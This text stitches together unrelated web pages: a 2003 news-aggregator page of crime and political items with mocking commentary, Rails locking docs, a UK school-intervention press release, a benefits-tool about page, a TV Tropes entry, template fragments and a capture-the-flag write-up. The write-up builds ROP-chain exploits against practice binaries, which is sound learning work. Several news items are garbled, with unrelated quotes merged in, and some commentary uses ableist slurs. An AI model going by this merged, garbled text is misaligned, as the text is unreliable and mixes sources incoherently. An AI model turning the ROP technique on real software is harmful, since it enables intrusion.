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May 15, 2003
Texas Democrats located by Dept. of Homeland Security
Common Dreams | Submitted by: Hellboy
Republican lawmakers in both Washington, D.C. and Austin, Texas availed themselves of federal agencies within the Department of Homeland Security to track down missing Texas Democratic legislators. The Democrats had secretly fled to Oklahoma in order to shut down the legislature and scuttle a Congressional redistricting bill. The issue here is we were promised that the Department of Homeland Security would never be "used for domestic political purposes." Well, so much for that.
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Read article... and
This article...
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New rule: no crippled counselors at cripple camp
Wichita Eagle | Submitted by: Incubus
"A parent of a child who has attended the Muscular Dystrophy Association summer camp in Kansas testified this morning that two women volunteering as counselors in wheelchairs would not keep him from sending his son. ... The MDA is in court defending its policy of requiring all camp volunteers to be able to lift campers in the event of an emergency." So they're kicking out two wheelchair-bound counselors who have worked at the camp for seven years. That's a great message for the kids: Believe in yourself. You can do anything. Except be a camp counselor for gimps like you.
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Read article...
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Dad stunguns eight-year-old son
Houston Chronicle | Submitted by: Reid Fleming
"Children of a Brazoria County man who admitted using a stun gun to discipline an 8-year-old often went to school in dirty, adult-sized clothes or wandered around their neighborhood in nothing but dirty diapers. ... officials at Wild Peach Elementary School reported the 8-year-old said he had been ordered to walk five miles to school after missing the school bus. As he walked, he said, Moody would 'zap' him with the 100,000-volt stun gun each time he slowed down."
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Public Relations Awareness
Time | Submitted by: Reid Fleming
Hoping to alleviate people's privacy concerns, the Bush administration is planning to give the Orwellian-sounding "Total Information Awareness" effort a more benign name. It's now scheduled to be rechristened the "Terrorist Information Awareness" initiative. Other than that, though, it's exactly the same program as before. Hope that makes you feel relieved.
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Read article...
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China threatens to execute SARS spreaders
Melbourne Herald Sun | Submitted by: lobsterboy79
"China has threatened to execute people who knowingly spread the SARS virus and cause death or serious injury. ... China is trying to prevent its outbreak -- the worst in the world -- from spreading from the capital, Beijing, to the countryside, where many of China's 1.3 billion people live."
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Incestuous Kentucky couple faces 568 rape counts
WKMG-TV 6 Orlando | Submitted by: Jonah
"Deborah and Donny Hoskinson, of Boston, Ky., each face more than 500 counts of first-degree rape. Donny Hoskinson reportedly raped the girl while his wife allegedly coached the girl and took pictures, according to investigators. ... they sexually violated the girl several times a week over a seven-year period."
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Yokel skewered by tire iron while attacking postman
WCMH-TV 4 Columbus | Submitted by: Idle Hands
"A 16-year-old boy is recovering after being impaled with a tire iron. Columbus police said a threatening dog's owner on Midland Avenue refused to take the animal inside when asked by a mailman. Police said that was when the homeowner's son attacked the mail carrier. The mailman sprayed the teen with Mace. Police said the boy's uncle then took a tire iron out of a car and threw it at the postal employee. The man hit his own nephew instead, puncturing the teen's lung."
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Man digs up child's cremains to reach former girlfriend
canoe.com | Submitted by: Hans Krule
"An 'obsessed' ex-lover dug up the ashes of his former girlfriend's deceased infant daughter and hid them inside the wall of an apartment to get her to call him, a court has heard. ... Meanwhile, the woman poured 14 bags of cement into the grave to prevent it from happening again." That's a pretty good DIY project, actually.
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Auction winner gains three decomposing babies
AZ Central | Submitted by: Tim Howard
"A $75 purchase at a Safford auction led to a grisly discovery: the decomposed bodies of three newborn babies. The bodies had been decomposing in a storage unit filled with boxes of household goods for at least eight years, authorities said. They were discovered after someone purchased the unit's items sight unseen at an auction last weekend."
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Reckless driver kills motorist: his own mother
WRAL-TV 5 Raleigh | Submitted by: Dusik
"The State Highway Patrol said 18-year-old Yachterez Wood was speeding east along Wiggins Mill Road around 12:55 p.m. when he struck another vehicle head on. Inside that car was Wood's mother Nancy, and his older brother, Andre. Nancy Wood died at Wilson Medical Center."
 The patient who had been soiling himself was left alone in his room -- in his excrement -- to try to improve his toilet habits between last Dec. 31 and Jan. 6." No word on whether they achieved a therapeutic breakthrough.
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Corpse sitting in busy gym for two hours
KNBC-TV 4 Los Angeles | Submitted by: Jonah
"Members of a Colorado fitness club say they were shocked to see the body of a 55-year-old heart attack victim lying near their exercise area while they worked out. ... Although paramedics arrived minutes after Roberts died, his body was left for two hours. Authorities say the body was covered and the area restricted but club members say it was within their view during their workouts."
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Bob Crane murder site available on eBay
AZ Central | Submitted by: Tim Howard
"On Thursday, the apartment at 7430 E. Chaparral Road, where TV star Robert Crane was bludgeoned to death in 1978, goes on sale on eBay.   'When Southern African political leaders like President Robert Mugabe of Zimbabwe make speeches saying that gays and lesbians are "worse than dogs and pigs," it should be no surprise that violent attacks follow.'"
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Another overly-produced Bush photo op
wishtv.com | Submitted by: PhxTed
First it was "Crate Gate." Then it was "Carrier Gate." Now, the Bush administration has gotten itself caught in another photo op embarrassment. It seems that Bush staffers couldn't find any "ordinary" Americans to be on the dais with him while he gave yet another speech extolling the virtues of tax breaks for the rich, so White House employees dictated that all of the rich guys behind the podium remove their ties to make them look more middle-class. One person who complied with the directive explained his rationale: "When the guy from the White House tells you to take your tie off, you don't ask why."
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Chinese baby gets lousy name
News 24 South Africa | Submitted by: Crazy Quagga
"A couple in China have named their baby son Saddam Sars to mark the two important events taking place at the time of his birth."
Samantha Jones, 35, of Bloomingburg, is accused of trying to have her ex-husband killed to regain custody of their daughter.
The convoluted plan was hatched so Jones could gain access to the child and force her to recant her story about the rape."
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White supremacists get dumber around minorities
kgtv-tvhealth.ip2m.com | Submitted by: Reid Fleming
"White people with a high degree of racial basis experienced a decrease in "executive function" after spending time talking with black people. ... The more racially biased the students were, the worse they did on the mental task after speaking with a black person. But racially biased students who spoke with a white person, even if they discussed racially sensitive issues, had no decline in mental function."
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Never mind cats & dogs, it's raining cows
San Francisco Chronicle | Submitted by: Tim Howard
"Twenty Holstein dairy cows grazing in the green hills of Marin County apparently got spooked late Wednesday morning and ran straight off a cliff, tumbling 50 feet down a steep hillside as stunned motorists looked on."
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Catfish sticks to frat guy
dailynexus.com | Submitted by: Jonny Jim
"Junior business economics major Kevin Sanderson was sent to the hospital Sunday after a mishap in the belly flop competition at the Delta Gamma Anchor Splash. Sanderson entered the competition with three of his Sigma Chi fraternity brothers... During the course of events, Sanderson ended up with a fish stuck to his face and a trip to the hospital."
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no state/country needed.
try "osaka", "st. petersburg", or "wilkes-barre"
Temperature:
Humidity:
Wind Speed:
UV Index:
Temp:


There was a time when groups of people had to come together and put their ideas manually on paper when they wanted to design any product .If they have to edit or modify their ideas they had to go through the whole design process all over again. It was cumbersome indeed. But then came CAD. Engineers readily embraced it. They could work independently and whenever they wanted to modify, they could do it right away. It made their work more productive.  What are you waiting are for..? Get your CAD software and mesmerise us with your creativity.
click here for problem statement
Submission Details:The completed drawings should be sent in a folder which is zipped or using winrar, with its name as CAD EYE_ELAN Registration No to any one of the organisers through mail
Prize money of Rs.6,000/- to be won.
Click here To Register..


Module: ActiveRecord::Locking::Pessimistic
| Included in: | |
| Defined in: |
Overview
Pessimistic provides support for row-level locking using SELECT … FOR UPDATE and other lock types.
Chain ActiveRecord::Base#find
to
ActiveRecord::QueryMethods#lock
to obtain an exclusive lock on
the selected rows:
# select * from accounts where id=1 for update
Account.lock.find(1)
Call lock('some locking clause')
to use a
database-specific locking clause of your own such as 'LOCK IN SHARE
MODE' or 'FOR UPDATE NOWAIT'. Example:
Account.transaction do
# select * from accounts where name = 'shugo' limit 1 for update
shugo = Account.where("name = 'shugo'").lock(true).first
yuko = Account.where("name = 'yuko'").lock(true).first
shugo.balance -= 100
shugo.save!
yuko.balance += 100
yuko.save!
end
You can also use ActiveRecord::Base#lock!
method to lock one
record by id. This may be better if you don't need to lock every row.
Example:
Account.transaction do
# select * from accounts where ...
accounts = Account.where(...)
account1 = accounts.detect { |account| ... }
account2 = accounts.detect { |account| ... }
# select * from accounts where id=? for update
account1.lock!
account2.lock!
account1.balance -= 100
account1.save!
account2.balance += 100
account2.save!
end
You can start a transaction and acquire the lock in one go by calling
with_lock
with a block. The block is called from within a
transaction, the object is already locked. Example:
account = Account.first
account.with_lock do
# This block is called within a transaction,
# account is already locked.
account.balance -= 100
account.save!
end
Database-specific information on row locking:
MySQL: http://dev.mysql.com/doc/refman/5.7/en/innodb-locking-reads.html
PostgreSQL: http://www.postgresql.org/docs/current/interactive/sql-select.html#SQL-FOR-UPDATE-SHARE
Instance Method Summary collapse
-
#lock!(lock = true)
Obtain a row lock on this record.
-
#with_lock(lock = true)
Wraps the passed block in a transaction, locking the object before yielding.
Instance Method Details
#lock!(lock = true)
Obtain a row lock on this record. Reloads the record to obtain the requested lock. Pass an SQL locking clause to append the end of the SELECT statement or pass true for “FOR UPDATE” (the default, an exclusive row lock). Returns the locked record.
61 62 63 64
# File 'activerecord/lib/active_record/locking/pessimistic.rb', line 61
def lock!(lock = true) reload(lock: lock) if persisted? self end
#with_lock(lock = true)
Wraps the passed block in a transaction, locking the object before
yielding. You can pass the SQL locking clause as argument (see
lock!
).
69 70 71 72 73 74
# File 'activerecord/lib/active_record/locking/pessimistic.rb', line 69
def with_lock(lock = true) transaction do lock!(lock) yield end end


DfE enquiries
Central newsdesk 020 7783 8300
General enquiries 0370 000 2288
Press release
We’re launching a consultation on proposals to allow the government to intervene quickly in failing schools.
A consultation has been launched today (21 October 2015) on proposals to speed up the transformation of failing schools and schools that are deemed to be ‘coasting’ - delivering on the government’s commitment to extend opportunity and ensure all children are supported to reach their full potential.
The tough new powers, first put forward by Education Secretary Nicky Morgan in the Education and Adoption Bill in June, will allow the government to swiftly intervene and turn around failing schools. The measures will sweep away the bureaucracy previously exploited by opponents with ideological objections who could delay or obstruct the process by which academy sponsors take over to improve the running of schools. In some cases, campaigners have delayed intervention by drawing out debates, refusing to provide important information and blocking vital decisions.
Schools also eligible for intervention will be those which fall within a new definition of ‘coasting’ where performance data shows that, year on year, they are failing to ensure their pupils reach their potential. Unlike failing schools, where there is no question that swift intervention is required, coasting schools will be offered help.
The consultation seeks views on the proposed definition of a mainstream school which is coasting as well as the options for developing a coasting definition for special schools and for pupil referral units.
Education Secretary Nicky Morgan said:
We are committed to delivering on our manifesto commitment to transform failing and coasting schools so that every child has the benefits of an excellent education.
Over the course of the last Parliament, we saw a million more pupils in good or outstanding schools. The measures outlined in this consultation will focus on the next million, extending opportunity to young people right across the country.
Views are also sought on a revised ‘Schools causing concern’ guidance, which sets out how regional schools commissioners will use the new powers in the bill to turn around failing schools and to challenge coasting schools and other cases of underperformance.
The consultation ‘Intervening in failing, underperforming and coasting schools’ will run until 18 December.
In 2012, Roke Primary in Croydon was given an Ofsted notice to improve and then placed in ‘full special measures’ in 2013. A ‘Save Roke’ campaign was set up to resist sponsorship by the Harris Federation. A petition opposing academy conversion was handed to the Department for Education ( DfE ) and the consultation was obstructed by campaigners, causing Harris to extend the consultation to deal with the delays caused by opponents.
The school eventually opened as an academy in September 2013, 16 months after it was first judged ‘inadequate’ by Ofsted. Since becoming an academy, key stage 2 ( KS2 ) results have seriously improved, from 65% of pupils achieving a level 4 in reading, writing and maths in 2013 to 94% in 2014; and the school was judged ‘outstanding’ by Ofsted in June. Early KS2 results suggest Harris Kenley has maintained its good (94%) results this year.
Kate Magliocco, Principal at Harris Primary Kenley, said:
In the run-up to opening, there was a great deal of confusion about what it meant to be an academy and I know some in the community were genuinely fearful about what it meant. It suited certain groups from outside the school to stoke these fears.
But I also remember lots of parents and even grandparents confiding in me that they supported the academy but felt scared and intimidated to say so publicly, such was the hostility and anger from some of those opposing academy status.
By transforming standards quickly, we now have a successful school with a happy and thoroughly supportive parent body. Whatever an anti-academy campaigner might say to them, parents know the difference between a child who is taught badly at school and one who comes home full of excitement about what they have done that day.
During all of the anger of the conversion process, the campaigners tried to convince parents it was impossible to combine high academic standards with a fun, caring and loving primary school environment. We have shown that this is simply not the case.
Another example of intervention being delayed is Harris Primary Academy Philip Lane, which opened in 2012 to replace Downhills Primary School, a Tottenham school that had been failing pupils for almost a decade.
Before opening as an academy, Downhills was rated ‘inadequate’ by Ofsted with over 30% of pupils leaving without good grades. Campaigners put up barriers to the process through a series of repeated unsuccessful appeals and reviews, which caused delays.
Under the sponsorship of Harris, the school has been judged by Ofsted as ‘good’ with ‘outstanding leadership’, and reading, writing and maths results have soared by a quarter.
Sir Dan Moynihan, Chief Executive of the Harris Federation, said:
The campaign against academy status for Downhills was organised and vocal, with the backing of several national campaigning organisations. Such was the hostile atmosphere, the building was physically attacked from the outside several times once the academy was open.
This aggression was obviously frightening for parents and staff, but we are delighted that it did not make an iota of difference to the success of the academy, which thrived from day one.
The children were happy, the staff were happy and the parents were happy too. It improved from special measures to good by its second year and is finally giving its children the quality of education they had been denied for far too long under the predecessor school.
Under local authority control, the Hewett School was placed in ‘special measures’ twice in the last 10 years.
The school’s GCSE results have been below both national and local averages for the last 10 years, while the school’s popularity has fallen with parents, with the school being less than half full.
Following a prolonged campaign from opponents to the academy programme, the school reopened as the Hewett Academy in September this year. The school is now sponsored by the Inspiration Trust, a leading trust in the region that has took Thetford Academy from ‘special measures’ to ‘good’ within 15 months.
Dame Rachel de Souza, Chief Executive of Inspiration Trust, said:
The Hewett School had been neglected for years - a decade of falling pupil numbers, big problems recruiting staff, and poorly maintained buildings. Despite all that, a small number of local campaigners believed that more of the same was the answer to restoring the school to its past glories.
We faced rumour, misinformation and politically-motivated opposition from a small but vocal campaign. Thankfully, the Department for Education focused on the educational issues and the Inspiration Trust’s track record as a sponsor, such as taking Hethersett Academy from special measures to the top mainstream GCSE results in the county in just 2 years.
We have an energetic new principal from an outstanding local school, and there is a renewed buzz throughout the academy, and a new hope that things really can get better.
Tom Leverage, the new Principal of the Hewett Academy, said:
Having only opened in September, it is early days for the Hewett Academy, but already teachers are benefiting from being able to work with fellow subject experts across the Inspiration Trust. Pupil attendance is up 10% and climbing, and we have big plans to work with the local community to improve sporting facilities.
Central newsdesk 020 7783 8300
General enquiries 0370 000 2288
Published: 21 October 2015


YouCanBenefit provides easy web access to information about a range of financial benefits and subsidies. The web tool provides individuals, families, and community workers with easy to access information on available municipal, provincial and federal benefits. YouCanBenefit is a made-in-Edmonton project that is a partnership between the City of Edmonton, e4c, and volunteers from BetaCityYEG. The tool will have open source content and as such, it can be shared with other organizations and municipalities nationwide. YouCanBenefit does not collect or track your information.
If you would like to provide feedback on anything please contact us here
YouCanBenefit is an open source project. Please check us out on Github.
Steven volunteered the technical expertise by designing and implementing the application. He is a Computing Science graduate of the University of Alberta and is employed as a software developer in Edmonton, Alberta, Canada.
e4c is a non-profit, charitable organization that has been working for almost 50 years to help vulnerable people here and now. At the same time, we’re working to prevent and eventually eliminate poverty. It’s a big task, but one we know is possible with the help of others who are ready to see the strength we see in the people we serve. Our organization’s areas of focus are shelter and housing, community and collaboration, skill development and education, and food security.
As the government closest to Canadians, municipalities touch almost every aspect of our citizens’ daily lives.
We’re citizens too - 12,000 employees who provide services to our nearly 900,000 neighbours in the most open
and responsive way we can.
The City of Edmonton doesn't do this alone. We’re part of a larger ecosystem of government, post-secondary institutions, the arts,
not-for-profits, school boards, private business and citizens — integral partners in an intelligent community.
Embracing the perspectives from individuals, industry and academic sectors is how we can best achieve our goals,
deliver programs and services and provide an exceptional quality of life for citizens.
EndPovertyEdmonton is a community-based collective launched in 2017 to steward the vision and movement to end poverty in Edmonton in a generation and to advance the actions in the five year EndPovertyEdmonton Road Map. Road Map Action #16 specifically calls for an expansion of the spectrum of financial empowerment initiatives, of which You Can Benefit, is an outstanding example.
BetaCityYEG is Canada's oldest civic technology meetup and meets monthly at Startup Edmonton. It brings together civic-minded data scientists, programmers, and public and nonprofit employees to co-create solutions for the city and region.
YouCanBenefit contains information provided by a variety of parties. YouCanBenefit does not make any representations or warranty about the accuracy, reliability, currency or completeness of the information provided. YouCanBenefit does not endorse the information contained herein and will not be liable for any reliance thereon.


A schema defines the structure of your content element.
Swagger compatible documentation for your schemas.
Provide feedback and request features to help us to improve Squidex.
Get the source code from Github and report bugs or ask for support.


(the thirty-eight states illuminate on a map)
Number Two: In addition to our cable holdings, we own a steel mill in Cleveland.
(a steel mill miniature illuminates in Cleveland)
Number Two: Shipping in Texas.
(a model ship off the coast of Texas illuminates)
Number Two: Oil refineries in Seattle.
(a model oil refinery illuminates in Seattle)
Number Two: And a factory in Chicago that makes miniature models of factories.
Models of larger things are often used in fiction for a variety of reasons. Heck, if there isn't an immediate thing happening with the model in one scene, it's likely something will happen later.
One common use is models to describe plans (that will go wrong of course). Often overlaps with The Big Board, Exposition Diagram and Planning with Props.
Another is a Corrupt Corporate Executive showing the plans he makes for some place he is going to rebuild after tearing down some place (that the heroes have to save).
Sometimes a model can actually be one of the special effects props on a show, thrown in as a nod to attentive fans.
A Super-Trope to:
- Miniature Effects (the models have a meta use in the show)
- Model Planning (using these when describing plans)
- Reality Changing Miniature (the model affects the real object when interacted with)
- Scale Model Destruction (the model is doomed)
- This Is What the Building Will Look Like (a model of a future construction we are not likely to see completed).
Compare Fun Size.
Not to be confused with Fashion Model.
Examples:
- In The World God Only Knows Haqua tries to summarize the events of her introductory arc with a miniature model of the school and animated dolls. It ends up with the figurines of Keima and Haqua engaging in questionable activities.
- In one Dilbert strip, the Pointy-Haired Boss is shown a model of a nuclear power plant their company is building. When he asks how large the real one will be, Dilbert says it will be half the model's size and cost $20 to build.
- In Despicable Me, Gru gives a pep talk to his Minions, during which he reveals that they had stolen the Statue of Liberty- "The small one from Las Vegas," that is, as well as a respective replica of the Eiffel Tower.
- The climax of Hot Fuzz is in a model of the town (including an infamous weaponizing of it).
- As does Willard Whyte in Diamonds Are Forever. This provides a Eureka Moment where the Supervillain Lair is, when Bond points out a model of an offshore oil rig that isn't part of Whyte's business empire.
Whyte: Baja? I don't have anything in Baja!
- On Austin Powers, Number Two says the trope quote, which includes the fact that one of Megacorp's enterprises is a factory that builds models of factories.
- Battle of the Bulge. Col. Martin Hessler is being shown models of Germany's new wonder weapons, including one of the King Tiger tank. He snarks, "It's a very beautiful model, General. It proves that the Germans are still the world's best toy makers." However the general just smiles and takes him to inspect the very real King Tigers they've assembled for the upcoming attack.
- Monty Python and the Holy Grail names the trope when Arthur's servant snipes that Camelot is just a special effects model (and is immediately shushed), after all the knights act amazed at the sight.
- Zoolander: When Mugatu shows Derek a model for the Derek Zoolander Center For Kids Who Can't Read Good And Wanna Learn To Do Other Stuff Good Too, Derek thinks the model is the actual school and destroys it in a rage.
Derek Zoolander: What is this, a center for ants? How can the children learn anything if they can't fit in the building?!.
- In Black Adder Goes Forth Melchett and Darling show George a model of the stretch of ground that has been captured in the latest battle. It turns out that the model is on a scale of 1:1, so the actual gain is only a few square feet. Closer examination reveals that it's not even a model — it's the actual square of turf.
- In The Mighty Boosh episode "The Nightmare of Milky Joe" there appears to be a ship in the distance that may rescue our heroes from the island they're stranded on. It's only a model, as Vince proves when he reaches out and plucks it right off the horizon.
- The Goodies. "The Lost Island of Munga", opens with a model longboat floating in the water while Graeme's voice tells how long ago a crew of Vikings were blown off course by a mighty storm.
Graeme: Suddenly the sea gets rough, there is a mighty wind, and a fearful noise fills the air!Bill: Because Thor pulled the plug out!Reveal Shot shows Graeme is actually reading out loud from a book while sitting in the bath with a toy longship.
- This is a Sound-to-Screen Adaptation of a sketch from The Goodies' radio precursor, I'm Sorry I'll Read That Again, also written by Garden and Oddie.
- The Goodies' sketch (above) of a Viking ship foundering in a mighty maelstrom which turns out to be a model in a bathtub first saw the light of day in the show's radio precursor, I'm Sorry I'll Read That Again, also written by Garden and Oddie.
- The Mann vs. Machine map Coaltown in Team Fortress 2 includes a small museum containing, among other things, a model of ... the map itself.
- The "Cold Reception" level in James Bond 007: Agent Under Fire contains within it a model of an oil rig. Snapping it with the Q-Camera will award you a Bond Move, for Bond will visit it later on.
- The Simpsons:
- In the season eight episode "Homer's Enemy", Homer enters a "build a model nuclear power plant" contest for kids... and not only kicks their assesnote , but humiliates his antagonistic co-worker into a Villainous Breakdown and accidental suicide!
- Close to the halfway mark of the VeggieTales episode "Rack, Shack, and Benny", Mr. Nezzer shows the titular characters a model of the giant amphitheater and bunny statue that he's constructed so the workers can bow down and show their love for the bunny.
''SHHH!!!''


Recursively goes over child objects of the given biopax element,
its child's child objects, etc., but collects only biopax
elements of the specified type (including its sub-classes).
This class is used to fetch an element (traverse it to obtain
its dependent elements) and to add this element into a model
using the visitor and traverse functions.


CodeMirror is a versatile text editor implemented in JavaScript for the browser. It is specialized for editing code, and comes with a number of language modes and addons that implement more advanced editing functionality.
A rich programming API and a CSS theming system are available for customizing CodeMirror to fit your application, and extending it with new functionality. For mor info go to http://codemirror.net/


Challenge 02: callme
Contents
Challenge 02: callme#
Having worked through the first two challenges with some help, I decided that this one was going to be “all on my own”. I needed to convince myself that I understood what was going on and how to solve it. While by no means perfect, I accomplished that objective and I am pretty stoked that, with the exception of a typo, the exploit worked on the first try. Here’s what I did:
I started out by reading the instructions and tried to force myself to slow down and understand them, looking for any issues that they may be hinting at between the lines.
I started my exploit script via pwntools:
pwn tempalate callme > exploit_02.py
I then ran through a few of my now normal steps with a new binary… I ran
checksec callme
and rabin2 -I callme
to get a feel for the program. I also
loaded it up in ghidra to poke around. It took almost no time to find that the
pwnme()
function had a similar vulnerability as the prior challenge but I
noticed that, this time, the call to fgets()
read in 256 characters… this
gave me a hint that the solution was not going to necessarily be short.
Confirming Overflow Parameters#
I followed a process nearly idendtical to the prior challenge to confirm the
overflow and establish the offset parameters. Identically to the prior, the
offset is 40
. This step is accomplished via the following:
# start the process
io = process(exe.path)
# send the cyclic
io.sendline(cyclic(256))
# wait for the crash
io.wait()
# read the corefile
core = io.corefile
# read the stack pointer at the time of the crash
stack = core.rsp
info("stack: %#x", stack)
# read 4 bytes from the stack pointer: this is our offset
pattern = core.read(stack, 4)
offset = cyclic_find(pattern)
info("pattern: %r", pattern)
info("offset: %d", offset)
Locating the Functions of Interest#
Based on the instructions, I knew that I needed to find the addresses for
callme_one()
, callme_two()
and callme_three()
. Based on the instructions,
I understood that this may not be quite as straight-forward as it might seem, so
I was looking for a trick of some sort. I wasn’t smart enough to completely
read the instructions, so I didn’t even consider using rabin2
. I ended up
using two different tools. The first was r2
. I’ve included the steps I
followed below:
$ r2 callme
# analyze all
[0x004018a0]> aa
# show sections
[0x004018a0]> iS
# show functions
[0x004018a0]> afl
...
0x00401810 1 6 sym.imp.callme_three
0x00401870 1 6 sym.imp.callme_two
0x00401850 1 6 sym.imp.callme_one
...
# show imports
[0x004018a0]> ii
In both of the last two commands, I found all three functions and the vaddr
for each matched between the two, so I assumed that they were wat I was looking
for.
I also spent some time in ghidra attempting to confirm the addresses (I did).
This was followed by some googling/reading online about the global offset table
and the procedure linkage table.
After I solved it (while working on this writeup), I noticed the warning in the instructions and thought I’d try those commands to see what the difference was.
List Imports#
$ rabin2 -i callme
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
4 0x00401810 GLOBAL FUNC callme_three
8 0x00401850 GLOBAL FUNC callme_one
11 0x00401870 GLOBAL FUNC callme_two
List Relocations#
$ rabin2 -R callme
[Relocations]
vaddr paddr type name
―――――――――――――――――――――――――――――――――
0x00602028 0x00002028 SET_64 callme_three
0x00602048 0x00002048 SET_64 callme_one
0x00602058 0x00002058 SET_64 callme_two
At first, I looked at this and was trying to understand what the point was but
then an idea hit me and I did some checking. From within ghidra, I looked at the
.got.plt
section of callme
(under Program Trees) and I saw the
following:
From the got
, it becaume obvious that Relocations view was showing the
vaddr
from the got
.
NOTE: I’m still unclear as to why the author of the challenge stressed this and need to dig further into it.
Brute Force Approach (list symbols)#
There is probably somthing not right about this approach, but it also worked pretty easily:
$ rabin2 -s callme | grep callme_
4 0x00001810 0x00401810 GLOBAL FUNC 16 imp.callme_three
8 0x00001850 0x00401850 GLOBAL FUNC 16 imp.callme_one
11 0x00001870 0x00401870 GLOBAL FUNC 16 imp.callme_two
Finding ROP Gadgets#
Based on what we know about the x64 calling convention combined with the
instructions provided for the challenge, we know that we need to place the value
1
in the rdi
register, 2
in rsi
and 3
in rdx
. Using ropper
, I was
quickly able to find a gadget for pop rdi, ret
$ ropper --file callme --search "pop rdi; ret"
0x0000000000401b23: pop rdi; ret;
Unfortunately, while I was able to also find one for rdx
, I could not find an
entry for rsi
. This pushed me to read the docs on ropper
a bit more and,
after doing that, I tried a less-specific search:
$ ropper --file callme --search "pop rsi"
0x0000000000401b21: pop rsi; pop r15; ret;
0x0000000000401ab1: pop rsi; pop rdx; ret;
While the first one was OK, the second was extremely helpful as I could take care of both the second and third parameters at once.
Building the ROP Chain#
Having obtained the information we needed, I now just need to build up the rop chain. The process is strait-forward and looks like this:
# set up our constants
call_one = 0x401850
call_two = 0x401870
call_three = 0x401810
pop_rdi = 0x401b23
pop_rsi_pop_rdx = 0x401ab1
# start by calling callme_one()
rop_chain = p64(pop_rdi, endian="little")
rop_chain += p64(0x1, endian="little")
rop_chain += p64(pop_rsi_pop_rdx, endian="little")
rop_chain += p64(0x2, endian="little")
rop_chain += p64(0x3, endian="little")
rop_chain += p64(call_one, endian="little")
# similar process repeats for callme_two() and callme_three()
Solution#
Having put everything together, I ran the script with the following results:
The solution is available in exploit_02.py
32 Bit Version#
So, I assumed the 32 bit version would be easy… a simple variant of the 64 bit version with a few minor modifications. How incredibly wrong I was. It kicked my tail… hard. That said, I now understand how the stack works much better and anticipate the subsequent 32-bit challenges to be less of a hill to climb.
The initial portion of the process is exactly as you would expect (determining
the offset, etc.). Where things differed for me was in building the ROP chain.
We know that 32-bit calling convention uses stack-based parameter passing (vs.
the registers that 64 bit uses). We also know that the parameters should be
pushed on the stack in reverse order (right-to-left). This means that it should
look something like the following:
NOTE: this is not correct… keep reading
ptr callme one |
|---|
1 |
2 |
3 |
ptr callme two |
1 |
2 |
3 |
ptr callme three |
1 |
2 |
3 |
However, this didn’t work. I kept getting an error that indicating that I was
passing the parameters in incorrectly. I “solved” this (read: without
understanding) by adding an “dummy” parameter in between the function pointer
and the first parameter. This “worked” for the call to callme_one()
but every
subsequent call failed with a segfault. Those of you who understand the stack
better than I did at this point understand exactly what I did wrong. It became
obvious to me that I didn’t understand exactly what was going on, so I spent the
majority of an afternoon fighting for understanding (read: stepping
assembly-instruction-by-assembly-instruction through GDB, drawing out the stack,
etc.). Having done this, I now understand… well… better.
The key is, that the magical buffer space between the function pointer and the
first parameter should be the ptr to the function called upon return. This
leaves you with the question of what that should be? The answer comes from two
places. First, in watching the behavior of the stack as other functions are
called as well as a sideways hint in the online documentation regarding how the
32 bit calling conventions work. The key phrase here is “caller cleanup” within
cdecl
. This means that the caller is responsible for adjusting the stack after
a function call to make it ready for the next function call. If you step
through a handful of function calls within GDB you will obvserve this…
following a return you will see a add esp, 0x10
or add esp, 0xc
or similar.
In this case, we had three 4-byte slots on the stack, so we needed to move the
stack pointers “up” by 12 (0xc
) spots (effectively three “pop” commands).
Here, I set out to find a ROP gadget to meet my needs… hopefully something
like add esp, 0xc; ret;
. I didn’t find that, but I did find a add esp, 8; pop ebx; ret;
gadget at 0x8048576
. This effectively does the same thing I
needed. I plugged it in to my ROP chain and I was immdiately successful. After
returning from each call, I clean up and the ret
at the end sets me up for the
next function call (from the now top of the stack).
The 32-bit solution is availalble in exploit_0232.py.
What Did I Learn?#
The 64-bit version of this went rather quickly for me and, coming on the heels of 01 challenge, was an incredible encouragement… it convinced me I actually did understand the core concepts. That was great.
The 32-bit version convinced me I knew nothing. Actually, not entirely, but it forced me to really strengthen my understanding of the 32-bit calling conventions.
Specific learnings:
I can ROP
32-bit calling conventions and stack use
Greatly increased comfort in stepping through/debugging assembly with GDB


{{ post.title }}
{{ post.date | date: "%b %-d, %Y" }}
{{ post.excerpt }}
--- layout: default title: Welcome ---
Hello! My name is Vinay Patel. I am a software developer interested in building web applications that serve user needs, using lean software development, cloud, and continuous delivery.
I stand on the shoulders of giants, lovely people at ThoughtWorks and Government Digital Service I have enjoyed the fortune of working with.
I share experiences and learnings from my work and travel on this website.


Last Updated
{{totalinfected}} BDT
Total Deaths
{{content}}
Total Recovered
{{totalrecovered}}
New Cases Today
+{{casesToday}}
New Deaths Today
+{{deathToday}}
Recovered Today
+{{recoveredToday}}
Active Cases
{{activeCases}}


Popcorn tracks the usage of RPM packages. This website provides user contributed statistics about installed packages and their metadata.


Vendor Name:
MAX DIGITAL BROADCASTING
Reference Number:
4500271608
Contract Date:
2012-18-01
Description of Work:
Audio-visual services
Contract Period:
2012-18-01 to 2012-19-01
Delivery Date:
2012-19-01
Original Contract Value:
$0.00
Current Contract Value:
$10,452.50
Comments:
Competitively sourced


{% load staticfiles %}
Millage Machine
Calculator
Frequently Asked Questions
Contact
{% include "personal/includes/htmlsnippet.html/" %}
{% block content %} {% endblock %}


Try other browser which have Javascript Support. Recommendation is Google Chrome or Mozilla Firefox Reload Page


Releases
This page lists BiblioGraph.net releases, most recent first.
| Release | Overview | Description |
|---|---|---|
| 1.1 bgn-1.1 (2015-02-16) |
Synchronisation with schema.org v1.93. Deprecate VideoGame & Game. Add Book Format: PrintBook |
Vocabulary
Site improvements
|
| 1.0 bgn-1.0 (2015-09-25) |
Initial release - synchronised with schema.org v1.9 |
VocabularyIntroduced the following Types: |


---
layout: discography
title: SFCN Vol.4
description: Sending From Common Network!
많이 늦었습니다! SFCN Vol.4 릴리즈! MV로 큰 주목을 받은 RMHN의 BIZARRE INC.부터 HYPERMESS Recordings 겸 TPRO.WAV 소속 Aresynth의 Dualize, wigen & Seokho의 S**X (on the) FLOOR 까지! 기존 SFCN에 올라왔던 곡들 외에도 추가로 선보이는 곡들이 많습니다! 재미있게 들어주세요!
image: /img/works/album/sfcn4.jpg
caption: SFCN Vol.4 Cover Art
date: 2013.07.21
categories:
- Works
- Discography
tags:
- Regular
- Original
soundcloud: none
playlist: 139847246
youtube: none
---
Track List
- BIZARRE INC.
RMHN
- Dolphin Divers
wigen
- BROKEN PROMISE
DICE☆GOD
- Goodbye, Snowman!
wigen
- comet
wigen
- New Wave
Kari
- Sunset (feat. Kaya)
Kari
- WA DAS FAUK
Kari
- CITRON
RMHN a.k.a. RAVEN@TION
